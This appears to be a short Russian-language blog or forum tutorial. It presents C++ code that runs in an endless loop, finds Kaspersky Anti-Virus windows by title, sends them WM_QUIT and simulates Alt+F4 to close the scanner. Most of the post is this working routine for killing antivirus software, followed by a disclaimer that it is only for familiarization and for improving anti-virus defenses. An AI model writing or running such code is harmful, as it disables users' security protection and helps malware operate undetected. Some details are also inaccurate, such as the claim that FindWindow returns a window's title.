Чтобы закрывать активное окно антивируса мы будем использовать функции FindWindow и PostMessage.
FindWindow — Ищет окно по заголовку и взовращает его заголовок.
PostMessage — Отправляет сообщение процессу, в нашем случае WM_QUIT (Закрыть).
Как только мы нашли окно с нужным нам TITLE. Мы закрываем программу. Если же программа выпендривается и не закрывается — эмулируем нажатие клавиш Alt+F4 (Закрыть окно). Метод детский, но для того, чтобы иметь понятие о защите от вирусов полезно.
#pragma hdrstop
#include <windows.h>
#include <iostream.h>
#pragma argsused int main(int argc, char* argv[])
{
do
{
if (FindWindow(NULL, "Kaspersky Anti-Virus Scanner")!=0)
{
ShowWindow(FindWindow(NULL, "Kaspersky Anti-Virus Scanner") , SC_MAXIMIZE);
Sleep(5000);
keybd_event( VK_MENU, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0 );
keybd_event( VK_F4, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0 );
keybd_event( VK_MENU, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
keybd_event( VK_F4, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
break;
}
PostMessage(FindWindow(NULL, "Kaspersky Anti-Virus Control Centre"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Kaspersky Anti-Virus Updater"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Kaspersky Anti-Virus Rescue Disk"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Kaspersky Office Guard"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Untitled - Kaspersky Report Viewer"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Kaspersky Virus List Generator"), WM_QUIT, 0, 0);
Sleep(100);
}while(1);
}
Весь материал представлен исключительно для ознакомления. И совершенствования методов борьбы с компьютерными вирусами.
Написать комментарий